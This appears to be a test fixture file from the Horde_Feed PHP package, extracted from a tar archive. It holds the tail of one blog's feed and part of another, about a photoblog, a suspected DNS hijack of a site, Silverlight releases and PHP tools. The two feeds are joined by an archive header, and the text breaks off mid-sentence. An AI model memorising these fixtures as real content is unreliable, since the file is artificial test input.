    Back in November of last year, I started doing Project 365, where each day I take a few photos and then post one to my Flickr set. It's an interesting exercise, but can be demoralizing when you realize that it's almost night time and you haven't taken a single shot yet. The goals of this photoblog, however, are different: I simply want to post a daily quality photo, independent of when it was taken, and make the presentation somewhat better than what Flickr allows.

    Getting the actual site built has taken a while, but it's finally here: Vu. I called it that for a couple of reasons: it sounds like view and vu in French means seen. All the photos are hosted on Flickr, so you can always click through to the image page via the "on flickr" link. The design might evolve slightly, and I'll add a couple of cool extra features, but I'm very happy that it's up and running and that I can share some of my favorite photos.

    I hope you enjoy it.

    ]]>     2007-08-09T00:59:01-08:00     This is not the pr0n you're looking for http://www.gravitonic.com/blog/archives/000424.html Sometime in the past couple of weeks, there apparently has been an attack on my domain, most likely via DNS cache poisoning. The end result was that a large number of visitors to the site saw some infelicitous pr0n content, instead of the usual blog. Rest assured, it was not an attempt on my part to make some extra cash by displaying someone else's fleshy bits to drooling eager masses. No, there are easier ways of getting beer money. I am not sure whether this was a deliberate attack or whether my domain was simply unfortunate enough to get on... 424@http://www.gravitonic.com/ Sometime in the past couple of weeks, there apparently has been an attack on my domain, most likely via DNS cache poisoning. The end result was that a large number of visitors to the site saw some infelicitous pr0n content, instead of the usual blog. Rest assured, it was not an attempt on my part to make some extra cash by displaying someone else's fleshy bits to drooling eager masses. No, there are easier ways of getting beer money. I am not sure whether this was a deliberate attack or whether my domain was simply unfortunate enough to get on someone's list, but I sincerely apologize to those of you who were exposed — pun intended — to that content.

    I have taken steps to fix the DNS issues and make sure that this kind of thing would be very hard to repeat. Unfortunately, during this time the search engines, such as Yahoo! and Google, have indexed the pr0n content under as though belonging to my domain and it might take a few days for it to clear out. Meanwhile, I hope you will return and check out some cool new things that should be coming shortly.

    ]]>     2007-08-08T21:30:31-08:00     OSCON 2007 Slides http://www.gravitonic.com/blog/archives/000423.html The slides from my VIM for (PHP) Programmers talk that I gave at OSCON 2007 are now up in the Talks section.... 423@http://www.gravitonic.com/ The slides from my VIM for (PHP) Programmers talk that I gave at OSCON 2007 are now up in the Talks section.

    ]]>     2007-07-26T16:38:27-08:00     Presumption of uncluefulness http://www.gravitonic.com/blog/archives/000422.html PHP internals mailing list has been filled with massive threads lately, mostly concerning PHP 6. Nothing too surprising in the amount, topics, or quality of polemic there, but I just love it when someone pipes in with a post like this: I don't really know much about topic X, and to be honest, I don't really know much about the internal workings of php. I'm going to suggest an implementation suggestion... Keep in mind I havent hacked around with php source, so my variable naming etc will be wrong... and its all psuedocode, so its not [a page of C++... 422@http://www.gravitonic.com/ PHP internals mailing list has been filled with massive threads lately, mostly concerning PHP 6. Nothing too surprising in the amount, topics, or quality of polemic there, but I just love it when someone pipes in with a post like this:

    I don't really know much about topic X, and to be honest, I don't really
    know much about the internal workings of php. I'm going to suggest an implementation suggestion... Keep in mind I havent
    hacked around with php source, so my variable naming etc will be wrong...
    and its all psuedocode, so its not

    [a page of C++ snipped]

    I think this would provide a very fast implementation of what is trying to
    be done.

    Im just making a suggestion, and feel free to ignore/criticise me if im
    wrong. I don't know anything about phps internals... Just an idea

    That's just awesome. We totally haven't considered that before, but your brilliant, yet humble and self-deprecating idea has shined new light onto the issue. Don't worry about PHP internals, it's just some hackish code we had lying around.

    I just have to wonder why someone would post this without bothering to research the issue at hand for at least 15 minutes. It'd be like me going to the space shuttle designers and saying, "Hey, I know I don't have a degree in rocket engineering and it's just an idea, but that problem with the insulation foam you're having.. have you thought about putting some duct tape on it?"

    Every message like this leads me to change my default presumptions about the cluefulness of the new posters to the list, and unfortunately, not in a better direction.

    ]]>     2007-07-19T17:41:11-08:00     7777 http://www.gravitonic.com/blog/archives/000421.html 7777 Accidentally looked at the title bar of Mail.app after hitting Send today and noticed that I've sent 7777 messages since January 1, 2004. Lucky sevens!... 421@http://www.gravitonic.com/ 7777

    Accidentally looked at the title bar of Mail.app after hitting Send today and noticed that I've sent 7777 messages since January 1, 2004. Lucky sevens!


    ]]>     2007-07-18T11:09:45-08:00     No_More_Absurdly_Long_Class_Names http://www.gravitonic.com/blog/archives/000418.html Ladies and gentlemen, we have namespaces.... 418@http://www.gravitonic.com/ Ladies and gentlemen, we have namespaces.

    ]]>     2007-07-12T22:14:34-08:00     Day 1: In LAX http://www.gravitonic.com/blog/archives/000412.html Having forgotten to check my baggage all the way through to Rarotonga, I had to pick it up in AA terminal and go over to Air New Zealand one. While standing in the check-in line, I realized with absolute and frightening clarity that there was another small, yet vitally essential thing I forgot at home. My green card. For those of you lucky enough not to need one, I'm required to have it with me at all times, especially when entering back into USA. The green card was tucked into the back pocket of my Uzbek passport cover, and I... 412@http://www.gravitonic.com/ Having forgotten to check my baggage all the way through to Rarotonga, I had to pick it up in AA terminal and go over to Air New Zealand one. While standing in the check-in line, I realized with absolute and frightening clarity that there was another small, yet vitally essential thing I forgot at home. My green card. For those of you lucky enough not to need one, I'm required to have it with me at all times, especially when entering back into USA. The green card was tucked into the back pocket of my Uzbek passport cover, and I completely forgot about it, since I took my Russian passport on the trip.

    I could just imagine the kind of hassle I'd have to go through at the immigration checkpoint; that is, if they let me into the country at all. My mind was in overdrive, as I walked through the security in haze and went up to the Air New Zealand lounge (that Premier Exec status sure comes in handy, thanks to all the conferences). The lounge had phones (remember, no cell phone with me), and computers (with Firefox on them!). While talking on the phone to my Mom, I hit upon a possible solution.

    Observation of the day: Web Messenger is the coolest thing since the ice hotel in Sweden.

    I fired it up, saw that my friend Brien was online, and asked him a favor: go to my apartment, enter the code into the lockbox to get the key, come in, find the green card, and fax a copy of it to me in Cook Islands. This was a tall order, but Brien didn't even think twice. Hopefully by tomorrow I'll have some sort of proof that I'm not faking being a permanent resident. Not sure if it'll be enough to reduce that hassle, but it's better than nothing.

    With that completed, I could finally go and enjoy the lounge, get some food (the crab salad at the buffet was fantastic), and some New Zealand wine (best one was Ngatarawa Glazebrook Merlot Cabernet). I have to say that this lounge is way ahead of the ones I've been to in SFO, HKG, or FRA. Kudos to Air New Zealand.

    ]]>     2007-05-29T19:32:52-08:00     ././@LongLink000 153 0003735 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.hauser-wenz.de-s9y-index.php%2F-feeds-index.rss2Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.hauser-wenz.de-s9y-index.php%2F-feeds-ind0000664000175000017500000012276112653701626031113 0ustar janjan Hauser & Wenz :: Blog http://www.hauser-wenz.de/s9y/ en Serendipity 1.3.1 - http://www.s9y.org/ Tue, 22 Jul 2008 09:31:17 GMT http://www.hauser-wenz.de/s9y/templates/default/img/s9y_banner_small.png RSS: Hauser & Wenz :: Blog - http://www.hauser-wenz.de/s9y/ 100 21 ASP.NET AJAX 4.0 CodePlex Preview 1 http://www.hauser-wenz.de/s9y/index.php?/archives/275-ASP.NET-AJAX-4.0-CodePlex-Preview-1.html http://www.hauser-wenz.de/s9y/index.php?/archives/275-ASP.NET-AJAX-4.0-CodePlex-Preview-1.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=275 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=275 nospam@example.com (Christian) ASP.NET AJAX 4.0 CodePlex Preview 1 is <a href="http://www.codeplex.com/aspnet/Release/ProjectReleases.aspx?ReleaseId=15511" title="ASP.NET AJAX 4.0 CodePlex Preview 1">available on CodePlex for download</a>. Features include:<br /> <ul><li>Client-side template rendering</li><li>Declarative instantiation of behaviors and controls</li><li>DataView control</li><li>Markup extensions</li><li>Bindings</li></ul><br /> The release notes also mention that the next preview release will be available in September (maybe another one coming at October's <a href="http://www.microsoftpdc.com/" title="PDC 2008">PDC08</a>&mdash;I am speculating here) and that "Ajax Futures" features will be moved to CodePlex in August. Interesting times for ASP.NET developers for sure, and I am looking foward to what's to come. <br /> Tue, 22 Jul 2008 11:31:17 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/275-guid.html Silverlight 2 Beta 2 Update http://www.hauser-wenz.de/s9y/index.php?/archives/274-Silverlight-2-Beta-2-Update.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/274-Silverlight-2-Beta-2-Update.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=274 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=274 nospam@example.com (Christian) It's been a few week since <a href="http://www.hauser-wenz.de/s9y/index.php?/archives/270-Silverlight-2-Beta-2-Released.html" title="blog entry on Silverlight 2 beta 2 release">Silverlight 2 beta 2 has been released</a>. Yesterday, Microsoft released <a href="http://support.microsoft.com/kb/955011" title="knowledge base entry on the critical update for Silverlight 2 beta 2">a critical update for Silverlight 2 beta 2</a> which is also distributed via Microsoft Update. The update promises to improve Firefox 3 compatibility, and also mentions streaming and stability. However the most interesting aspect is that the auto-update component has been worked on. The release notes do not state exactly what that means, but I think I know what it is: After installing the update, AutoUpdate can actually be enabled; the original version of Silverlight 2 beta 2 had this option greyed out. This suggests that new versions should be expected in the forseeable future <img src="http://www.hauser-wenz.de/s9y/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br /> <br /> <!-- s9ymdb:56 --><img class="serendipity_image_center" width="416" height="322" style="border: 0px; padding-left: 5px; padding-right: 5px;" src="http://www.hauser-wenz.de/s9y/uploads/SilverlightConfiguration.png" alt="" /> Thu, 17 Jul 2008 10:55:51 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/274-guid.html openSUSE 11.0 and Virtual PC http://www.hauser-wenz.de/s9y/index.php?/archives/273-openSUSE-11.0-and-Virtual-PC.html ** English http://www.hauser-wenz.de/s9y/index.php?/archives/273-openSUSE-11.0-and-Virtual-PC.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=273 1 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=273 nospam@example.com (Christian) <a href="http://www.opensuse.org/" title="openSUSE website">openSUSE 11</a> has been released, and as usual I had to try it using virtualization first. And as with some other recent distros, VPC crashes during installation. However, as with some other recent distros, these startup options help:<br /> <br /> <code>noreplace-paravirt i8042.noloop clock=pit</code><br /> <br /> So if you have issues getting the new openSUSE version installed, these options might do the trick. At least they worked for me. Wed, 25 Jun 2008 12:14:03 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/273-guid.html Silverlight crashing Firefox 3? http://www.hauser-wenz.de/s9y/index.php?/archives/272-Silverlight-crashing-Firefox-3.html ** English http://www.hauser-wenz.de/s9y/index.php?/archives/272-Silverlight-crashing-Firefox-3.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=272 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=272 nospam@example.com (Christian) Right after <a href="http://www.hauser-wenz.de/s9y/index.php?/archives/271-Firefox-3-and-Firebug.html" title="Firefox 3 release (and how to get Firebug working with it)">yesterday's Firefox 3 release</a>, some readers wrote me that the browser would immediately crash (a really bad crash, without error reporting kicking in, the browser just vanishes) when they visited a Silverlight powered site. I could reproduce that on one of my machines and was investigating this further, when I stumbled upon Tim Heuer's <a href="http://timheuer.com/blog/archive/2008/06/17/silverlight-and-firefox-3-updates.aspx" title="Tim Heuer on Silverlight and Firefox 3">excellent post on the long history of Silverlight/Firefox 3 hubbub</a>. He concludes that Silverlight 2 beta 2 has solved the issue, but what's about the only Silverlight version marked as stable, 1.0? In my case a simple uninstallation of Silverlight, followed by <a href="http://www.microsoft.com/silverlight/resources/install.aspx" title="Silverlight plugin download">reinstalling the plugin</a> did the trick. Unfortunately I did not write down my previous plugin version number, but I now have version 1.0.30401.0. If you have an older version, you may want to update.<br /> Of course that doesn't help web master too much, but maybe this post can help some users to keep their new shiny browser alive when consuming Silverlight content. Wed, 18 Jun 2008 12:40:46 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/272-guid.html Firefox 3 and Firebug http://www.hauser-wenz.de/s9y/index.php?/archives/271-Firefox-3-and-Firebug.html ** English http://www.hauser-wenz.de/s9y/index.php?/archives/271-Firefox-3-and-Firebug.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=271 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=271 nospam@example.com (Christian) <a href="http://www.mozilla.com/en-US/firefox/all.html" title="Firefox 3 downloads">Firefox 3</a> has been released a few hours ago (congratulations!), and I already got two mails with complaints that Firebug (v1.05) is not compatible with this version. That's actually true, but <a href="https://addons.mozilla.org/de/firefox/addons/versions/1843" title="Firebug releases">versions 1.1+</a> are. Just don't mind that the version numbers sound like beta, but I wouldn't be too surprised if version 1.2 would be put on <a href="http://getfirebug.com/" title="Firebug's homepage">Firebug's homepage</a> soon.<br /> <b>Update (Jun 18): </b>Updated download link; addons.mozilla.org seems to have the most recent releases. Tue, 17 Jun 2008 22:13:48 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/271-guid.html Silverlight 2 Beta 2 Released http://www.hauser-wenz.de/s9y/index.php?/archives/270-Silverlight-2-Beta-2-Released.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/270-Silverlight-2-Beta-2-Released.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=270 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=270 nospam@example.com (Christian) Just a quick note that <a href="http://silverlight.net/" title="Silverlight homepage">Silverlight 2 Beta 2</a> has been released. It includes a commercial go-live license, if you are brave enough and forget what happened to Atlas' go-live license <img src="http://www.hauser-wenz.de/s9y/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Microsoft published the <a href="http://silverlight.net/GetStarted/" title="Silverlight downloads">Beta 2 runtime and VS 2008 tools downloads, including a new Blend 2 preview release</a>. There is also a <a href="http://go.microsoft.com/fwlink/?LinkID=120655&clcid=0x409" title="Silverlight beta 1/2 breaking changes">list of breaking changes between beta 1 and beta 2</a>. As you would expect, news on <a href="http://www.hauser-wenz.de/s9y/index.php?/archives/265-Announcing-Essential-Silverlight-2-Up-to-Date.html" title="Essential Silverlight 2 Up-to-Date">Essential Silverlight 2 Up-to-Date</a> will follow shortly. <img src="http://www.hauser-wenz.de/s9y/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br /> <br /> Sat, 7 Jun 2008 10:15:12 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/270-guid.html First Moonlight Release (Source Code Only) http://www.hauser-wenz.de/s9y/index.php?/archives/269-First-Moonlight-Release-Source-Code-Only.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/269-First-Moonlight-Release-Source-Code-Only.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=269 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=269 nospam@example.com (Christian) Just a quick note that the <a href="http://www.mono-project.com/" title="Mono project">Mono project</a> has unveiled their first (source code only) release of <a href="http://www.mono-project.com/Moonlight" title="Moonlight">Moonlight</a>, their <a href="http://silverlight.net/" title="Silverlight">Silverlight</a> clone. <a href="http://www.mono-project.com/news/archive/2008/May-13.html" title="First Moonlight release announcement">More in the announcement</a>. Thu, 15 May 2008 13:20:31 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/269-guid.html Renesis Player 1.0 Released http://www.hauser-wenz.de/s9y/index.php?/archives/268-Renesis-Player-1.0-Released.html ** English http://www.hauser-wenz.de/s9y/index.php?/archives/268-Renesis-Player-1.0-Released.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=268 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=268 nospam@example.com (Christian) As I wrote <a href="http://www.hauser-wenz.de/s9y/index.php?/archives/236-Renesis-Player-0.7-released.html" title="blog entry on Renesis 0.7 release">ten months ago</a>:<br /> <blockquote>Some say SVG is dead, but it has found some niches where it is quite successful. I don't currently do as much SVG as I did some time ago, but I still follow along the current discussions and events. One project I find quite interesting is the Renesis, a feature-rich SVG player that is desparately needed now that Adobe abandoned <a href="http://www.adobe.com/svg/" title="Adobe SVG Plugin">their SVG browser plugin</a>.<br /> </blockquote><br /> And finally, version 1.0 of the Renesis Player has been released! You can find more information on the <a href="http://www.examotion.com/?id=product_player" title="Renesis Player">product page</a>. As it says there, "[t]he Player runs on all platforms and supports the open stantards CSS 2, XML, DOM 3 and SVG 1.1." Note that "all platforms" might be a bit misleading, as the <a href="http://www.examotion.com/Downloads.product_player_download.0.html" title="Renesis Player download page">download page</a> only provides software for Windows XP and Vista. Fri, 2 May 2008 20:00:25 +0200 http://www.hauser-wenz.de/s9y/index.php?/archives/268-guid.html Two Silverlight 2 for Mac OS X Gotchas http://www.hauser-wenz.de/s9y/index.php?/archives/267-Two-Silverlight-2-for-Mac-OS-X-Gotchas.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/267-Two-Silverlight-2-for-Mac-OS-X-Gotchas.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=267 1 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=267 nospam@example.com (Christian) Two things I recently found out. They may be old news, but hopefully they are useful for some people anyway:<br /> <ol><li><a href="http://www.microsoft.com/silverlight/handlers/getSilverlight.ashx?v=2.0&targetplatform=macintel" title="Silverlight 2 Beta 1 for OS X download">Silverlight 2 Beta 1 for OS X</a> only works if you have an Intel processor. The <a href="http://www.microsoft.com/silverlight/resources/installationfiles.aspx?v=2.0" title="Silverlight 2 system requirements">system requirements</a> do mention that (if you click on the correct link &mdash; no direct link thanks to JavaScript), but who reads them anyways?! <br /> Personal opinion: No PowerPC support? WTF?!<br /> </li><br /> <li>Uninstalling Silverlight (always a good idea before installing new bits) requires these steps performed in a terminal window:<blockquote><pre>rm -rf /Library/Internet\ Plug-Ins/Silverlight.plugin<br /> rm -rf /Library/Receipts/Silverlight*.pkg<br /> rm -rf ~/Library/Application\ Support/Microsoft/Silverlight</pre></blockquote>Thanks to <a href="http://silverlight.net/forums/t/3965.aspx" title="forum entry detailling the uninstallation">"Bridgette [MSFT]"</a>.</li></ol> Wed, 12 Mar 2008 09:30:43 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/267-guid.html Essential Silverlight 2 Beta 1 Downloads http://www.hauser-wenz.de/s9y/index.php?/archives/266-Essential-Silverlight-2-Beta-1-Downloads.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/266-Essential-Silverlight-2-Beta-1-Downloads.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=266 1 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=266 nospam@example.com (Christian) [Note: Repost of <a href="http://www.insideria.com/2008/03/essential-silverlight-2-beta-1.html" title="InsideRIA blog entry on Silverlight 2 downloads">this entry</a> on <a href="http://www.insideria.com/" title="InsideRIA.com">InsideRIA.com</a>]<br /> <br /> At <a href="http://www.visitmix.com/">MIX08</a> in Las Vegas, Microsoft announced and released a couple of new products, including Beta 1 of <a href="http://www.silverlight.net/">Silverlight</a> (and O'Reilly announced and released <a href="http://www.oreilly.com/catalog/9780596519988/">Essential Silverlight 2 Up-to-Date</a>). Silverlight, however, comes in several downloads, and it is a bit difficult to keep track of all of them, so we'll have a look at what you can and what you should download. <br /> <p>From a developer's point of view, you will want to use Visual Studio 2008 to create Silverlight content. Visual Studio 2008 is not free (the free Express Editions do not suffice here), so there is no download link, however if you have an MSDN subscription you have access to the IDE at <a href="http://msdn.microsoft.com/subscriptions/">http://msdn.microsoft.com/subscriptions/</a>. Then, the best option is to install the <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=E0BAE58E-9C0B-4090-A1DB-F134D9F095FD&displaylang=en">Microsoft Silverlight Tools Beta 1 for Visual Studio 2008</a> package. It integrates into Visual Studio 2008 and installes the following software, most of which would also be available in a separate package:<br /> <ul><li>Silverlight 2 Beta 1 (the browser plugin)</li><li>Silverlight 2 SDK Beta 1 (documentation, tools)</li><li>KB949325 for Visual Studio 2008 (an update/hotfix for Visual Studio 2008)</li><li>Silverlight Tools Beta 1 for Visual Studio 2008 (project templates and add-ins for Visual Studio 2008)</li></ul><br /> <img src="http://www.insideria.com/assets_c/2008/03/s2beta1-chainer-thumb-400x372.png" width="400" height="372" alt="s2beta1-chainer.png" style="text-align: center; display: block; margin: 0 auto 20px;" /><br /> <br /> After installation, you will have a new Start menu entry for the SDK, Visual Studio 2008 will provide project and web site templates for Silverlights, and your installed web browsers (currently Internet Explorer and Firefox are supported) will be able to display Silverlight content. </p><br /> <br /> <img src="http://www.insideria.com/assets_c/2008/03/s2beta1-vs2008project-thumb-400x268.png" width="400" height="268" alt="s2beta1-vs2008project.png" style="text-align: center; display: block; margin: 0 auto 20px;" /><br /> <br /> A bit hidden, but nevertheless very useful, is a CHM (Compiled HTML Help) file with loads of documentation. It is about 40MB in size, so you will find a wealth of information there. So download the <a href="http://www.microsoft.com/downloads/details.aspx?familyid=1840CAB5-196C-4264-B55D-562242A72625&displaylang=en">Microsoft Silverlight 2 Software Development Kit Beta 1 Documentation</a> and place the CHM file inside the ZIP archive to a place where it is easily accessibly for you.<br /> <br /> <img src="http://www.insideria.com/assets_c/2008/03/s2beta1-chm-thumb-400x349.png" width="400" height="349" alt="s2beta1-chm.png" style="text-align: center; display: block; margin: 0 auto 20px;" /><br /> <br /> Finally, if you are curious how Microsoft implemented the various controls that come with Silverlight, have a look at the <a href="http://www.microsoft.com/downloads/details.aspx?familyid=EA93DD89-3AF2-4ACB-9CF4-BFE01B3F02D4&displaylang=en">source code and unit tests</a> available for them.<br /> <br /> If you are designer, you might be interested in the visual tools provided for Silverlight. You may already know <a href="http://www.microsoft.com/expression/products/overview.aspx?key=blend">Microsoft Expression Blend</a>, the tool to create WPF (Windows Presentation Foundation) applications. A <a href="http://www.microsoft.com/expression/products/download.aspx?key=blend2beta">beta version of Expression Blend 2</a> allows to create Silverlight 1 content. An upcoming version of Blend will also support Silverlight 2. If you want to have a sneak peak of that, have a look at the <a href="http://www.microsoft.com/expression/products/download.aspx?key=blend2dot5">Microsoft Expression Blend 2.5 March 2008 Preview</a>. There, you will find two project templates related to Silverlight: one for version 1, and one for version 2.</p><br /> <br /> <img src="http://www.insideria.com/assets_c/2008/03/s2beta1-blendproject2-thumb-400x259.png" width="400" height="259" alt="s2beta1-blendproject2.png" style="text-align: center; display: block; margin: 0 auto 20px;" /> Mon, 10 Mar 2008 15:36:29 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/266-guid.html Announcing Essential Silverlight 2 Up-to-Date http://www.hauser-wenz.de/s9y/index.php?/archives/265-Announcing-Essential-Silverlight-2-Up-to-Date.html ASP.NET (English) http://www.hauser-wenz.de/s9y/index.php?/archives/265-Announcing-Essential-Silverlight-2-Up-to-Date.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=265 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=265 nospam@example.com (Christian) <a class='serendipity_image_link' href='http://www.hauser-wenz.de/s9y/uploads/9780596519988_lrg.jpg'><!-- s9ymdb:55 --><img width="180" height="234" style="float: right; border: 0px; padding-left: 5px; padding-right: 5px;" src="http://www.hauser-wenz.de/s9y/uploads/9780596519988.gif" alt="" /></a>Yesterday at <a href="http://www.visitmix.com/" title="MIX '08 homepage">MIX '08</a>, Microsoft announced a couple of new products, including <a href="http://www.microsoft.com/windows/products/winfamily/ie/ie8/default.mspx" title="IE8 beta 1">Internet Explorer 8 Beta 1</a>, <a href="http://www.microsoft.com/silverlight/" title="Silverlight 2 Beta 1">Silverlight 2 Beta 1</a>, <a href="http://www.microsoft.com/expression/products/download.aspx?key=blend2beta" title="Expression Blend 2 Beta">Expression Blend 2 Beta</a>, and <a href="http://www.microsoft.com/expression/products/download.aspx?key=blend2dot5" title="Expression Blend 2.5 March 2008 Preview">Expression Blend 2.5 March 2008 Preview</a>. <br /> Shorly before that, <a href="http://www.oreilly.com/" title="O'Reilly">O'Reilly</a> hosted a <a href="http://www.oreillynet.com/fyi/blog/2008/03/silverlight_2_uptodate_launche.html" title="VIP meeting blog entry">VIP meeting</a> and announced <a href="http://www.oreilly.com/catalog/9780596519988/index.html" title="Essential Silverlight 2 Up-to-Date">Essential Silverlight 2 Up-to-Date</a>. Here's the official blurb:<br /> <blockquote>Design rich Internet applications (RIAs) for the Web using Silverlight 2, the latest version of Microsoft's hot new runtime application -- without waiting for the official release. With this unique new book, you not only get a concise, easy-to-understand introduction to Silverlight 2, but thorough coverage of the CTPs, betas, and RTM releases as they become available. Once you buy the book, you'll receive printed pages on all the revisions to Silverlight that you can insert right into the book's unique binder format. </blockquote><br /> In other words: Although Silverlight 2 might drastically change prior to its final release, the book will stay up-to-date. The edition published (and available) at MIX covers the current Beta 1 release and will be updated soon. We plan to release updates whenever a new interim release comes up. Once Silverlight 2 goes final, we update the book one more time. Then, it will also be available as a regular paperback book. <br /> I am very excited to be part of this project. Getting the book done by MIX was an extreme challenge, and would not have been possible without the support of the O'Reilly staff (especially Laurel Ruma and John Osborn), and supportive people inside Microsoft (especially Scott Guthrie, Brian Goldfarb, and Chung Webster). Also thanks to <a href="http://www.arrabiata.de/" title="Arrabiata Solutions GmbH">Arrabiata Solutions</a>'s beta customers that were brave enough to invest in a pre-release technology. <br /> <br /> So if you are at MIX, come by the O'Reilly booth and have a look at the book; if is of course also available via the O'Reilly store and also at traditional booksellers. Thu, 6 Mar 2008 09:54:50 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/265-guid.html Zend Studio for Eclipse 6.0 Released (and Zend Studio 5.5.1, too) http://www.hauser-wenz.de/s9y/index.php?/archives/264-Zend-Studio-for-Eclipse-6.0-Released-and-Zend-Studio-5.5.1,-too.html PHP http://www.hauser-wenz.de/s9y/index.php?/archives/264-Zend-Studio-for-Eclipse-6.0-Released-and-Zend-Studio-5.5.1,-too.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=264 2 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=264 nospam@example.com (Christian) I am probably not the first to notice that, but thought it would be worth mentioning anyway. <a href="http://www.zend.com/" title="Zend homepage">Zend</a> have released <a href="http://www.zend.com/en/products/studio/" title="Zend Studio homepage">version 6.0 of Zend Studio for Eclipse</a>. Actually, this version 6.0 is the first final version of the Eclipse edition of Zend Studio. <br /> <a href="http://www.zend.com/en/products/studio/" title="Zend Studio homepage">According to Zend</a>, <br /> <blockquote>[they] will provide customers that are currently under maintenance for Zend Studio 5.5 a free upgrade to Zend Studio for Eclipse. If you wish to continue to use Zend Studio 5.5 simply renew as you would normally and licenses will be provided for both products. Any Zend Studio purchase will entitle customers to use both products.</blockquote><br /> I have to say that I am rather in the "I can achieve better results without Eclipse" camp, but will try the new version nevertheless. So far, the IDE looks very good. The only minur issue I found is that it ships with a quite old version of JRE (1.5.0_08_b03, which translates to 5.0 update 8; the latest version as of today is 5.0 update 15 or, even better, 6.0 update 5). Oh, and the PHP 4 version that comes with it is 4.4.7. <br /> <br /> <a class='serendipity_image_link' href='http://www.hauser-wenz.de/s9y/uploads/ZendStudioEclipse.png'><!-- s9ymdb:53 --><img width="110" height="83" style="border: 0px; padding-left: 5px; padding-right: 5px;" src="http://www.hauser-wenz.de/s9y/uploads/ZendStudioEclipse.serendipityThumb.png" alt="" /></a><br /> <br /> While downloading the Eclipse version, I also found out that "classic" <a href="http://www.zend.com/products/studio/studio55" title="Zend Studio 5.5.x homepage">Zend Studio 5.5.1</a> has been released about a month ago. <a href="http://downloads.zend.com/static/topics/Studio-Release-Notes-551.txt" title="Zend Studio 5.5.1 release notes">New features</a> include Leopard and Vista support (finally!); the versions of PHP and Zend Framework have been bumped to 5.2.5 and 1.0.3. <br /> When using the "check for updates" feature of my 5.5.0a installation, it neither showed me the 5.0.0b update nor the 5.5.1 version. When installing 5.5.1, it refused to use my 5.5.0 license key, though. I contacted support and will update this entry when this has been resolved. <br /> <br /> <b>Update: </b>The Zend support staff regenerated my license, Zend Studio 5.5.1 now works seamless. And make sure to read the comments: Obviously, the Zend Studio for Eclipse 6.0 release is from January &mdash; but it's still not clear why one local Zend subsidiary sent me an email on the "new" release yesterday <img src="http://www.hauser-wenz.de/s9y/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Wed, 5 Mar 2008 14:19:01 +0100 http://www.hauser-wenz.de/s9y/index.php?/archives/264-guid.html ASP.NET 3.5 mit Visual Basic 2008 Programmer's Choice (Addison-Wesley) erschienen! http://www.hauser-wenz.de/s9y/index.php?/archives/263-ASP.NET-3.5-mit-Visual-Basic-2008-Programmers-Choice-Addison-Wesley-erschienen!.html ASP.NET (deutsch) Publikationen http://www.hauser-wenz.de/s9y/index.php?/archives/263-ASP.NET-3.5-mit-Visual-Basic-2008-Programmers-Choice-Addison-Wesley-erschienen!.html#comments http://www.hauser-wenz.de/s9y/wfwcomment.php?cid=263 0 http://www.hauser-wenz.de/s9y/rss.php?version=2.0&type=comments&cid=263 nospam@example.com (Christian) <a class='serendipity_image_link' href='http://www.hauser-wenz.de/s9y/uploads/9783827326829.jpg'><!-- s9ymdb:52 --><img width="77" height="110" style="float: right; border: 0px; padding-left: 5px; padding-right: 5px;" src="http://www.hauser-wenz.de/s9y/uploads/9783827326829.serendipityThumb.jpg" alt="" /></a>In eigener Sache: Gerade habe ich anlässlich der <a href="http://www.basta.net/" title="BASTA-Konferenz (Homepage)">BASTA-Konferenz</a> die ersten Exemplare des <a href="http://www.addison-wesley.de/main/main.asp?page=home/bookdetails&ProductID=161808" title="ASP.NET 3.5 Programmer's Choice (bei Addison-Wesley)">ASP.NET 3.5 Programmer's Choice</a>, erschienen bei 